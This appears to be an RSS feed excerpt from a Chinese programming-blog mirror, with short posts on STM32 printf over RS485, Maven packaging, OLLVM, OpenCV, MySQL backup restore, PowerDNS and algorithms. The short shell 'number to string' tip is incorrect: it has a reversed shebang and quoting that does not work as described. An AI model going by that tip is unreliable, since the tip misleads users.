的用中断实现，一种不用中断，printf使用的是不用中断（划重点）。不要问为什么，照着做就行了。我经常说学东西，有时不要问为什么，先照着做就行了，做多了自然就能领悟为什么。就像我们学拿筷子夹东西，不要问为什么拇指在这个位置，食指在那个位置，要论起其中的力学原理，写好多篇论文都可以。各位想想，小时候学用筷子时老是搞不利索，急得用手抓，学会了后你还会想筷子该怎么拿吗，为什么这样握吗？&#xA;下面讲具体步骤：&#xA;1.更改编译器的设置，让编译器使用Micro LIB（这一个C语言库，具体干什么的自行搜索）。以keil为例，如图：勾选Micro LIB&#xA;2.串口非中断方式的，发一个字节的函数（代码）已调试好&#xA;3.printf使用的是非中断方式的、发一个字节的函数&#xA;4.包含stdio.h这个头文件。哪一个C文件中要使用printf，就必须要包含﻿stdio.h﻿。﻿如图：&#xA;﻿﻿﻿&#xA;5.编写代码&#xA;先看代码，如下：&#xA;#ifdef __GNUC__ #define PUTCHAR_PROTOTYPE int __io_putchar(int ch) #else #define PUTCHAR_PROTOTYPE int fputc(int ch, FILE* f) #endif /* __GNUC__ */ #ifdef __cplusplus extern &#34;C&#34; { #endif //__cplusplus PUTCHAR_PROTOTYPE { RS485A_DE = DOsnt; //发送脚使能，RS485为发送数据状态 delay_us(10); //等待发送脚的电平稳定 HAL_UART_Transmit(&amp;amp;huart5, (uint8_t *)&amp;amp;ch, 1, 0xFFFF); //调用STM32的HAL库，发送一个字节 delay_us(10); //避免数据信号震荡造成回环数据 RS485A_DE = DOrec; //发送脚除能，RS485恢复到接收数据状态 return (ch); } #ifdef __cplusplus } #endif //__cplusplus ⑴ 这段代码放在哪里。我只介绍我的经验，我的硬件是STM32的串口5 + RS485，实质是基于串口5的RS485，故这段代码放在了我的RS485.</description>
    </item>
    <item>
      <title>idea srping boot 加入 钉钉  maven打包</title>
      <link>https://bchobby.github.io/posts/b323f280ecc91a1645db12153a058077/</link>
      <pubDate>Tue, 24 Dec 2019 09:48:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b323f280ecc91a1645db12153a058077/</guid>
      <description>最近接了个需求,推送文件给钉钉群组,看了一下钉钉的API,下载SDK包,粘API的代码直接就能用,real方便.&#xA;钉钉SDK包没有maven地址,所以使用了本地jar包,于是将jar和source放置在了src/lib下:&#xA;并在pom文件中加入配置:&#xA;&amp;lt;!--钉钉工具包--&amp;gt;&#xA;&amp;lt;dependency&amp;gt;&#xA;&amp;lt;groupId&amp;gt;com.taobao.top&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;top-api-sdk-dev&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;version&amp;gt;ding-open-mc-SNAPSHOT&amp;lt;/version&amp;gt;&#xA;&amp;lt;scope&amp;gt;system&amp;lt;/scope&amp;gt;&#xA;&amp;lt;systemPath&amp;gt;${pom.basedir}/src/lib/taobao-sdk-java-auto_1479188381469-20190814.jar&amp;lt;/systemPath&amp;gt;&#xA;&amp;lt;/dependency&amp;gt;&#xA;到这里本地项目就可以随意使用钉钉API了, 玩起来是风生水起,十分开心.&#xA;但我忽略了一件事情,导致项目发布到测试环境的时候,启动报错了.错误我忘了截图,这会儿也懒得还原复现了…&#xA;意思就是说,找不到TaobaoXXXRequest, XXX这里是什么单词我忘了,哈哈~&#xA;当时想了很久,打包过程非常顺利毫无问题,为什么不能启动呢,经过再三查阅资料和尝试,终于!!&#xA;只需要在pom文件中增加插件配置includeSystemScope为true,让打包的时候包含本地jar,就可以解决问题啦!话不多说,上代码:&#xA;&amp;lt;plugin&amp;gt;&#xA;&amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;&#xA;&amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt;&#xA;&amp;lt;configuration&amp;gt;&#xA;&amp;lt;includeSystemScope&amp;gt;true&amp;lt;/includeSystemScope&amp;gt;&#xA;&amp;lt;/configuration&amp;gt;&#xA;&amp;lt;/plugin&amp;gt;&#xA;重新打包,发布,运行,一次成功!!~~&#xA;记录这次踩过的坑,希望能对遇到相关问题的朋友,有所帮助!~&#xA;————————————————&#xA;版权声明：本文为CSDN博主「丶追光少女」的原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/zsy_495058005/article/details/100152832</description>
    </item>
    <item>
      <title>shell 数值转字符串</title>
      <link>https://bchobby.github.io/posts/13f01169ae1b8c01058341a3dd43e5af/</link>
      <pubDate>Mon, 23 Dec 2019 17:43:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13f01169ae1b8c01058341a3dd43e5af/</guid>
      <description>!#bash int123=123 string=&#39;$int123&#39; echo string 给变量加上&#39;var&#39;就会转换成字符串</description>
    </item>
    <item>
      <title>Win10下用AndroidStudio直接使用Ollvm</title>
      <link>https://bchobby.github.io/posts/4628f26848a84ecd527d4c4fb1c9ff96/</link>
      <pubDate>Mon, 23 Dec 2019 17:38:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4628f26848a84ecd527d4c4fb1c9ff96/</guid>
      <description>编译过程看这里：https://blog.csdn.net/u014476720/article/details/103662800&#xA;使用过程：&#xA;1.去ndk目录替换文件&#xA;F:\androidsdk\ndk-bundle\toolchains\llvm\prebuilt\windows-x86_64\bin&#xA;替换这三个就行&#xA;clang++.exe&#xA;clang.exe&#xA;clang-format.exe&#xA;上面三个文件是编译Ollvm的出来的&#xA;2.添加头文件&#xA;F:\androidsdk\ndk-bundle\sysroot\usr\include&#xA;我这里的就缺这几个，反正根据实际情况添加吧，需要添加的头文件在&#xA;obfuscator-llvm-4.0\build\lib\clang\4.0.1\include 注意：这个目录是编译之后的&#xA;添加完上面之后，就可以在Android studio 里面使用了，参数根据自己需要配置&#xA;对比图：&#xA;参考&#xA;https://www.jianshu.com/p/2b32949d223e&#xA;https://www.cnblogs.com/shuqinjun/p/8595143.html&#xA;https://www.zhupite.com/llvm/windows-compile-llvm.html&#xA;https://blog.csdn.net/asmcvc/article/details/80105224&#xA;https://goldsnow.github.io/2017/08/07/android-ollvm/&#xA;https://www.jianshu.com/p/2b32949d223e</description>
    </item>
    <item>
      <title>Linux下OpenCV环境搭建</title>
      <link>https://bchobby.github.io/posts/fd4edd1c85b1685a8a08b499b3792e11/</link>
      <pubDate>Mon, 23 Dec 2019 10:55:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd4edd1c85b1685a8a08b499b3792e11/</guid>
      <description>对于Linux下的开发者来说，可以用jetbrains公司的clion来代替Visual Studio，搭建OpenCV开发环境。本次所用环境为Ubuntu16.04/18.04+Clion&#xA;1.安装Clion 首先安装qt5的依赖，在终端中执行以下命令：&#xA;sudo apt install qttools5-dev-tools 接着到jetbrains的官网下载jetbrain toolbox，这个toolbox可以一键安装Intellij idea，phpstorm，pycharm，clion等大名鼎鼎的IDE，当然这些都是jetbrains这一家公司开发出来的，网址如下：https://www.jetbrains.com/toolbox/app/?fromMenu。&#xA;将下载好的tar.gz后缀的压缩包解压，先cd进去，然后执行sudo ./jetbrains-toolbox便可启动toolbox了，点击clion安装即可。如果没安装qt5的依赖，这时jetbrainstoolbox启动的时候终端里就会出现：QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to &#39;/tmp/runtime-root&#39;，并且点击install某个软件会安装不上。&#xA;如果弹出这个：&#xA;给文件夹加个权限即可，命令如下：&#xA;sudo chmod -R 777 /home/[username]/.local/share/JetBrains 2.下载并安装OpenCV 首先确保电脑上有cmake，在ubuntu下可以用sudo apt install cmake来安装cmake。 还得安装依赖，命令如下：&#xA;sudo apt-get install build-essential libgtk2.0-dev libavcodec-dev libavformat-dev libjpeg.dev libtiff4.dev libswscale-dev libjasper-dev 接着下载OpenCV，下载地址为https://opencv.org/releases/，选一个OpenCV的版本，3.4.6，3.4.8都可以 ，4以上的没试过。下载完成后解压，然后cd进解压好的文件夹里，新建一个build目录，再cd进这个build目录里，如下图所示：&#xA;然后就是要编译OpenCV了，首先cmake ../，没出错的话应该是这样子的：&#xA;继续输入make -j4并回车，4是代表你的电脑拥有的cpu核心数 ，八代标压i7都是6核12线程的了，可以用make -j12，这个编译时间有点长，耐心等待，如果没出错的话应该像下面一样：&#xA;最后输入sudo make install就安装完成了。&#xA;3.配置Clion 新建一个空白项目，假设名字叫OpenCVDemo，建好之后在CmakeLists.txt添加下面两句：&#xA;find_package(OpenCV REQUIRED) target_link_libraries(OpenCVDemo ${OpenCV_LIBS}) 写个最简单的读取图片的Demo测试一下 ，在main.cpp里增加如下几行代码：&#xA;#include &amp;lt;opencv2/opencv.hpp&amp;gt; using namespace cv; int main(int argc,char** argv) { Mat image = imread(&#34;</description>
    </item>
    <item>
      <title>使用xb文件恢复mysql数据</title>
      <link>https://bchobby.github.io/posts/c948f82b4a9da837547ed943b0a27be3/</link>
      <pubDate>Sat, 21 Dec 2019 14:17:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c948f82b4a9da837547ed943b0a27be3/</guid>
      <description>使用xb文件恢复mysql数据库 【链接】使用xb文件恢复mysql数据库参考博客&#xA;https://www.cnblogs.com/changeEveryDay/p/11758727.html&#xA;一.环境配置 安装工具Percona XtraBackup&#xA;MySQL 5.6及之前的版本需要安装 Percona XtraBackup 2.3，安装指导请参见官方文档Percona XtraBackup 2.3。&#xA;MySQL 5.7版本需要安装 Percona XtraBackup 2.4，安装指导请参见官方文档Percona XtraBackup 2.4。&#xA;MySQL 8.0版本需要安装 Percona XtraBackup 8.0，安装指导请参见官方文档Percona XtraBackup 8.0。&#xA;【链接】安装工具参考博客&#xA;https://blog.csdn.net/yt_php/article/details/95342474&#xA;1.安装 xbstream&#xA;①安装percona-release&#xA;yum install http://www.percona.com/downloads/percona-release/redhat/0.1-3/percona-release-0.1-3.noarch.rpm ②安装percona-xtrabackup-24&#xA;yum install percona-xtrabackup-24 ③安装qpress&#xA;yum install qpress 2.测试安装是否完成&#xA;执行命令测试:&#xA;innobackupex --version xtrabackup: recognized server arguments: --server-id=14051 --datadir=/home/mysql/data --open_files_limit=81920 --log_bin=/home/mysql/data/mysql-bin --innodb_open_files=8000 --innodb_buffer_pool_size=4G --innodb_max_dirty_pages_pct=90 --innodb_io_capacity=1000 --innodb_flush_method=O_DIRECT --innodb_file_per_table=1 --innodb_flush_log_at_trx_commit=0 --innodb_log_file_size=100M --innodb_log_buffer_size=10M --innodb_log_files_in_group=3 --innodb_read_io_threads=6 --innodb_write_io_threads=6&#xA;innobackupex version 2.</description>
    </item>
    <item>
      <title>shiro 报错chainName cannot be null or empty的解决方法</title>
      <link>https://bchobby.github.io/posts/8b0fe816f6bf3f687deb94c9442046cb/</link>
      <pubDate>Fri, 20 Dec 2019 17:53:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b0fe816f6bf3f687deb94c9442046cb/</guid>
      <description>chainName为功能表中的每一个功能的url，shiro要求不能为空&#xA;删除查询的权限表内的空数据即可解决</description>
    </item>
    <item>
      <title>更新VantUI 组件</title>
      <link>https://bchobby.github.io/posts/5628cab28d0dab410998dcfe9c437137/</link>
      <pubDate>Fri, 20 Dec 2019 14:15:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5628cab28d0dab410998dcfe9c437137/</guid>
      <description> 测试时，优惠券界面一直没哟u图片显示出来，以为是bug,最后才知道是环境问题，vantUI版本需要升级；&#xA;升级过程：&#xA;删除项目中老的vant。&#xA;npm uninstall vant安装最新的vant&#xA;npm i vant -S </description>
    </item>
    <item>
      <title>JS 判断元素父子关系</title>
      <link>https://bchobby.github.io/posts/6dc0dc90392aa98e7ef3b41349f7d2fc/</link>
      <pubDate>Fri, 20 Dec 2019 13:47:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6dc0dc90392aa98e7ef3b41349f7d2fc/</guid>
      <description>在工作中遇到一个问题：如果界面元素很多，如何判断当前点击的元素，和某个元素是否有父子关系？&#xA;下面这个截图中，可以看到有20个DIV在嵌套。如果界面发生一个点击事件，在document 监听到这个点击事件，怎样判断点击位于哪个父元素下面（PS 这个HTML代码写的语义不明确，层级很复杂）&#xA;查找资料后，有下面几个解决方案&#xA;原生 JS 原生JS中可以使用 dom.contains(dom) 来判断是否存在父子关系。&#xA;var father = document.getElementById(&#39;#wrap&#39;); var son = event.target; if (father.contains(son)) { console.log(&#39;点击的元素是父元素的子元素&#39;); } else { console.log(&#39;点击的元素不是父元素的子元素&#39;); } 注意：这个方法在旧版火狐或者IE浏览器中存在兼容性问题，详情可以参考 https://www.cnblogs.com/cuixi/archive/2013/11/06/3409918.html 兼容写法&#xA;// 早期 Firefox 兼容写法 console.log(father.compareDocumentPosition(son)); // 下面是兼容写法 var contains = function(a, b, itself){ // 第一个节点是否包含第二个节点 //contains 方法支持情况：chrome+ firefox9+ ie5+, opera9.64+,safari5.1.7+ if (itself &amp;amp;&amp;amp; a == b){ return true } if (a.contains){ if (a.nodeType === 9) { return true; } return a.</description>
    </item>
    <item>
      <title>动态规划—资源分配</title>
      <link>https://bchobby.github.io/posts/04378063d0526c7050bbec14abbb36e9/</link>
      <pubDate>Tue, 17 Dec 2019 17:29:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04378063d0526c7050bbec14abbb36e9/</guid>
      <description> 概要 动态规划的决策不是线性的而是全面考虑到各种不同情况分别进行决策，最后通过多阶段决策逐步找出问题最优解。而当前决策也会依赖于上一阶段的决策，此时便会发生状态的转移。动态规划算法可以说是一种“聪明的蛮力法”，因为动态规划是会考虑到每一种可能，而聪明的地方是相对于蛮力法，它去掉了很多没必要的运算。&#xA;例1、资源分配问题&#xA;现有7万元需要投资到A，B，C三个项目，利润表如下图。求总利润分配最大的资源分配方案&#xA;1234567A0.110.130.150.210.240.300.35B0.120.160.210.230.250.240.34C0.080.120.200.240.260.300.35 #include &amp;lt;iostream&amp;gt; using namespace std; int main(){ double invest[3][8]={//投资表，记录了A，B，C三个投资的利润率信息,预留多一个位置,invest[i][j]中i表示项目，j表示金额 {0,0.11,0.13,0.15,0.21,0.24,0.30,0.36}, {0,0.12,0.16,0.21,0.23,0.25,0.24,0.34}, {0,0.08,0.12,0.20,0.24,0.26,0.30,0.35} }; double max[8],temp[8]={0},gain[8]={0};//max记录的是优策略下的投资利润率，gain记录的是当前投资金额可得的最大利润 //temp记录的是上一次决策中可以获得的最大利润 for(int i=0;i&amp;lt;8;i++){//初始化，当只有A投资可选时，最优投资策略便是全部投资A max[i]=invest[0][i]; } for(int i=0;i&amp;lt;8;i++){//初始化，当只有A投资可选时，可以得到的最大利润 gain[i]=invest[0][i]*i; }&#x9;for(int i=1;i&amp;lt;3;i++){//控制投资项目 for(int j=1;j&amp;lt;8;j++){//控制投资金额，j即为当前的投资金额 for(int k=0;k&amp;lt;j;k++){//k表示投资给上一个最优决策的金额， j-k表示把剩余的资金投资给新添加的那个项目 temp[j]=max[k]*k+invest[i][j-k]*(j-k); if(gain[j]&amp;lt;temp[j]){ gain[j]=temp[j]; max[j]=gain[j]/j; }&#x9;} } } //输出 cout&amp;lt;&amp;lt;&#34;最大投资利润率为：&#34;; for(int i=1;i&amp;lt;8;i++){ cout&amp;lt;&amp;lt;max[i]&amp;lt;&amp;lt;&#34; &#34;; } cout&amp;lt;&amp;lt;endl&amp;lt;&amp;lt;&#34;最大利润为：&#34;; for(int i=1;i&amp;lt;8;i++){ cout&amp;lt;&amp;lt;gain[i]&amp;lt;&amp;lt;&#34; &#34;; } } </description>
    </item>
    <item>
      <title>Python数据分析之豆瓣影片TOP250爬取与分析</title>
      <link>https://bchobby.github.io/posts/a66d5c1fef1325ac4d6e9f186bef01bf/</link>
      <pubDate>Tue, 17 Dec 2019 17:14:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a66d5c1fef1325ac4d6e9f186bef01bf/</guid>
      <description>豆瓣影片TOP250爬取与分析 我会把每次在网络上做的爬虫和数据分析都发上来，至少每周一次，这既是为了督促自己，也是希望能把自己遇到的问题及解决方法和大家分享。&#xA;爬取网页 这次爬虫使用的是pyquery和requests，requests主要是用来获取图片的字节信息的，没在pyquery中找到，知道的朋友也可以说一下，大家一起进步~！&#xA;因为豆瓣电影中比较友好，所以我只设置了一个伪装浏览器的headers就开始爬取了，很顺畅地获取到了网页信息。&#xA;接下来是解析网页了，因为影片信息都在单独&#xA;中，所以一次获取一个页面所有影片的，接下来再进行遍历，把每部影片中的信息提取出来。&#xA;def get_html(url): # 获取页面 headers = { &#34;User-Agent&#34;: &#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36&#34; } # 构建请求头 doc = pq(url, headers=headers) # 请求页面，获取返回url的html return doc def parse_html(doc): # 解析页面 li_list = doc(&#34;.article .grid_view&#34;).find(&#34;li&#34;) # 获取影片内容所在区域 for item in li_list.items(): # 对同一页中每部影片遍历，获取每部影片相关内容 try: movie_poster_src = item(&#34;.item .pic a&#34;).find(&#34;img&#34;).attr(&#34;src&#34;) # 获取海报的资源地址 movie_poster_b = requests.get(movie_poster_src).content # 获取海报，并将图片转为字节 movie_num = item(&#34;</description>
    </item>
    <item>
      <title>io流</title>
      <link>https://bchobby.github.io/posts/82ceef139b60453540ee14b21359c59f/</link>
      <pubDate>Tue, 17 Dec 2019 10:31:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/82ceef139b60453540ee14b21359c59f/</guid>
      <description>File中的一些方法 File file = new File(&#34;C:/Users/Administrator/Desktop/GG&#34;); file.createNewFile(); 创建文件 file.mkdirs(); 创建文件夹 file.delete(); 删除 file.isDirectory(); 判断是否是目录 file.isFile(); 判断是否是文件 file.exists(); 判断是否存在 file.canRead(); 判断是否可读 file.canwrite(); 判断是否可写 file.isHidden() 判断是否隐藏 file.getAbsolutepath(); 获取绝对路径 file.getpath(); 获取路径 file.getName(); file.length(); 获取长度 （Long类型） file.lastModified(); 获取最后一次的修改时间 （Long类型） file.list(); 获取文件夹下所有东西（String类型） file.listFile(); 获取文件夹下所有东西（File类型—含路径） File、FileInputStream、ByteArrayOutputStream File file = new File(&#34;C:/Users/Administrator/Desktop/GG&#34;); File filedoc = new File(file+&#34;/gg.doc&#34;); if (!file.exists()) { log.info(&#34;文件夹不存在,创建文件夹&#34;); file.mkdirs(); } if (!filedoc.exists()) { log.info(&#34;文件不存在,创建文件&#34;); filedoc.createNewFile(); } FileOutputStream out = new FileOutputStream(filedoc,true); //true：不覆盖以前的类容（可为空） FileInputStream in = new FileInputStream(new File(&#34;</description>
    </item>
    <item>
      <title>SpringBoot集成PageHeler配置正常却分页无效问题解决</title>
      <link>https://bchobby.github.io/posts/473017e51765ee35b6eab90c72b9c7a1/</link>
      <pubDate>Mon, 16 Dec 2019 23:38:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/473017e51765ee35b6eab90c72b9c7a1/</guid>
      <description>注意，本文的前提是配置正常，即依据官方文档配置有使用了 pagehelper springboot starter的情况。以下问题分析都是基于pagehelper springboot starter 1.2.10（经查看目前最新的1.2.13源码，发现仍有同样问题）&#xA;1. starter pom &amp;lt;project xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;com.github.pagehelper&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;pagehelper-spring-boot&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.10&amp;lt;/version&amp;gt; &amp;lt;/parent&amp;gt; &amp;lt;artifactId&amp;gt;pagehelper-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;name&amp;gt;pagehelper-spring-boot-starter&amp;lt;/name&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.mybatis.spring.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.pagehelper&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;pagehelper-spring-boot-autoconfigure&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.pagehelper&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;pagehelper&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;/project&amp;gt; 从上面的pom中可以看出，这里已经依赖了pagehelper-spring-boot-autoconfigure、pagehelper，不需要再重复引入，网上大部分都是说少了引入这两个jar，实属瞎扯淡（starter版本一致的情况下）。下面开始贴自动配置源码&#xA;1.1 PageHelperAutoConfiguration源码 /* * The MIT License (MIT) * * Copyright (c) 2017 abel533@gmail.com * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the &#34;</description>
    </item>
    <item>
      <title>linux 安装地球物理学常用软件：FFTW、Madagascar、GTK未完待续~~~</title>
      <link>https://bchobby.github.io/posts/0ed2d0d811021af50f28552ce2312b1e/</link>
      <pubDate>Mon, 16 Dec 2019 18:40:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ed2d0d811021af50f28552ce2312b1e/</guid>
      <description>1linux安装FFTW&#xA;1.1下载并解压安装包&#xA;1.2设置安装路径&#xA;./configure --prefix=/home/install/software/fftw 1.3 安装&#xA;make make install 1.4配置环境变量&#xA;vim ~/.bashrc&#xA;export LD_LIBRARY_PATH=$LD_LIBRARYPATH:/home/install/software/fftw/lib export PATH=$PATH:/home/install/software/fftw/bin 2linux安装madagascar&#xA;2.1 下载并解压安装包&#xA;2.2 设置环境变量和语言接口&#xA;./configure API=c++,f90 --prefix=/home/install/software/mada 2.3安装&#xA;make make install 2.4设置数据路径&#xA;cd /home/zf/install/software/mada/share/madagascar/etc/ vim env.sh export DATAPATH=/home/zf/install/software/mada/RSFDATA/ 2.5配置环境变量&#xA;export RSFROOT=/home/install/software/mada source $RSFROOT/share/madagascar/etc/env.sh 3linux安装GTK&#xA;3.1 下载并安装java编译环境JDK，网址如下：&#xA;https://www.oracle.com/java/technologies/javase-downloads.html&#xA;配置环境变量&#xA;JAVA_HOME=/home/zf/install/Mines_JTK/jdk1.8.0_181 PATH=$JAVA_HOME/bin:$PATH CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar export JAVA_HOME export PATH export CLASSPATH 3.2 下载并安装 Gradle&#xA;PATH=$PATH:/home/zf/install/Mines_JTK/gradle-3.2.1/bin export PATH 3.2 下载并安装 gtk&#xA;在github上下载GDK安装包&#xA;1 cd到你想安装的目录文件&#xA;2 下载安装包</description>
    </item>
    <item>
      <title>蔡勒(Zeller)公式理解Get（√）</title>
      <link>https://bchobby.github.io/posts/6424384f61c568e6ed4f7a2fa40fd3cb/</link>
      <pubDate>Sun, 15 Dec 2019 21:01:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6424384f61c568e6ed4f7a2fa40fd3cb/</guid>
      <description>Preface 偶然做到日期相关题目，了解到Zeller公式。不甘心停留在使用阶段，便想掌握其推导过程。&#xA;只适用于格利戈里历法，也就是现今的公历。&#xA;1. Zeller公式 标准形式 计算1582年10月4日或之前日期 (罗马教皇决定在1582年10月4日后使用格利戈里历法) w：星期； w对7取模得：0-星期日，1-星期一，2-星期二，3-星期三，4-星期四，5-星期五，6-星期六c：世纪（注：一般情况下，在公式中取值为已经过的世纪数，也就是年份除以一百的结果，而非正在进行的世纪，也就是现在常用的年份除以一百加一；不过如果年份是公元前的年份且非整百数的话，c应该等于所在世纪的编号，如公元前253年，是公元前3世纪，c就等于-3）y：年（一般情况下是后两位数，如果是公元前的年份且非整百数，y应该等于cMOD100+100）m：月（m大于等于3，小于等于14，即在蔡勒公式中，某年的1、2月要看作上一年的13、14月来计算，比如2003年1月1日要看作2002年的13月1日来计算）d：日[ ]代表取整，即只要整数部分。 注意：编程中MOD运算 ≠ 数学中MOD的运算， 所以若D为负数，则在求W之前可对D进行7的倍数的自增运算，让其成为正数，最后对7求余得到结果。&#xA;思考： 如何将给定日期换算成星期数呢？ 找已知日期(年月日，周几)作为源计算目标日期与源的间隔天数将间隔天对7取余获取偏移量将源的week加上偏移量得到目标星期数 2. 推导过程 如你所想，Zeller公式并不神秘。通过以上思想的优化和扩展后，便得到Zeller公式。&#xA;从以上思想开始扩展。&#xA;1. 如何获取间隔天数？&#xA;D = D1 + D2 + D3 D1：从原点到原点所在年份末尾的天数。D2：原点所在年份和目标日期所在年份之间所有年份的天数和。D3：目标日期所在年份的第一天到目标日期的天数。 优化:&#xA;1. 若我们把源设定为12月31日则可省去D1的计算。于是 D = D2 + D3&#xA;2. 若源点正好是周日就正好了 可以省去偏移量的计算。&#xA;巧了： 我们发现公元元年的前一年12月31日恰好是周日，这是一个完美的源。&#xA;D2：&#xA;假设目标日期是y-m-d, 我们可以很简单的得出D2&#xA;因一年至少有365天，此外，闰年比平年多一天，所以需加上闰年中多出来的天数。&#xA;闰年规则: 四年一闰， 百年不闰， 四百年闰。故：&#xA;至此：D1 D2 解决&#xA;D3：先不考虑闰年，因2月份天数28天最少，因此，我们不妨把每个月的天数看作 “28 + Excess”的模式，m 月之前所有月份的 Excess 之和为 Accum(m)，则 D3=28×(m−1)+Accum(m)+d，并且我们可以得到这样一张表格：&#xA;月份表 月份123456789101112天数312831303130313130313031Excess303232332323Accum0336811131619212426 通过上表可发现Excess 3 月份开始是 3、2、3、2、3 的循环，因此，当 m≥3m≥3 时，Accum(m)的值的增幅也是 3、2、3、2、3 的循环。因为每 5 个月增加 13，所以把 作为系数；因为 Accum(m) 的值是离散的（都是整数），所以我们用取整运算符，得到：</description>
    </item>
    <item>
      <title>实现 PowerDNS 应用部署</title>
      <link>https://bchobby.github.io/posts/ac58c9c7565c3d6cb3187fe2579b0cca/</link>
      <pubDate>Sun, 15 Dec 2019 11:53:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac58c9c7565c3d6cb3187fe2579b0cca/</guid>
      <description>实现 PowerDNS 应用部署 PowerDNS官网：https://www.powerdns.com/PowerDNS文档：https://doc.powerdns.com/Poweradmin官网：http://www.poweradmin.org/ CentOS 7 利用RPM包部署PowerDNS&#xA;安装基本包 [root@Centos7 ~]# yum -y install pdns pdns-backend-mysql mariadb-server [root@Centos7 ~]# systemctl start mariadb 准备mariadb中的数据库，表和用户 MariaDB [(none)]&amp;gt; CREATE DATABASE powerdns; Query OK, 1 row affected (0.00 sec) MariaDB [(none)]&amp;gt; GRANT ALL ON powerdns.* TO &#39;powerdns&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;centos&#39;; Query OK, 0 rows affected (0.00 sec) [root@Centos7 ~]# rpm -ql pdns-backend-mysql /usr/lib64/pdns/libgmysqlbackend.so /usr/share/doc/pdns-backend-mysql-4.1.11 /usr/share/doc/pdns-backend-mysql-4.1.11/3.4.0_to_4.1.0_schema.mysql.sql /usr/share/doc/pdns-backend-mysql-4.1.11/dnssec-3.x_to_3.4.0_schema.mysql.sql /usr/share/doc/pdns-backend-mysql-4.1.11/nodnssec-3.x_to_3.4.0_schema.mysql.sql /usr/share/doc/pdns-backend-mysql-4.1.11/schema.mysql.sql / 用powerdns自带的schema.mysql.sql 脚本生成数据库 表 [root@Centos7 ~]# mysql powerdns &amp;lt; /usr/share/doc/pdns-backend-mysql-4.</description>
    </item>
    <item>
      <title>day31(12.10):seleniumwebdriver环境搭建</title>
      <link>https://bchobby.github.io/posts/593211345c017090135727b48ae15d40/</link>
      <pubDate>Sat, 14 Dec 2019 12:00:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/593211345c017090135727b48ae15d40/</guid>
      <description>web阶段学习说明&#xA;1.对于python基础要求：第一阶段的内容都需要掌握。特别是类和对象、单元测试框架、 日志&#xA;2.与接口自动化差异较大。在web自动化当中，也可以适当的使用接口。&#xA;3.与APP功能自动化非常相似！同为UI功能测试，是APP自动化的基础！！&#xA;问题：&#xA;1.有了接口自动化还要做web自动化吗？&#xA;web页面（UI）-&amp;gt;接口-&amp;gt;后台服务-&amp;gt;数据库&#xA;（1）用户直接使用UI&#xA;（2）有些接口返回的数据-前端有逻辑处理-未必展示&#xA;2.web自动化是什么？用代码代替我的双手–点点点网页&#xA;代码（打开网站/输入xxx/点击xxx） 中间人（传递信息） ==== 浏览器（google/ie/firefox）的网页&#xA;python/java/C#/ruby(打开网站/输入xxx/点击xxx) ==驱动程序= 浏览器（google/ie/firefox）&#xA;google -----chromedriver&#xA;ie------ieserverdriver&#xA;firefox-------geckodriver&#xA;驱动程序和浏览器版本匹配的问题&#xA;我的google的驱动程序是78版本（帮助-&amp;gt;关于google）&#xA;在百度里输入chromdriver&#xA;点击并打开ChromDriver Mirror&#xA;选择最新的版本&#xA;windows32/64通用 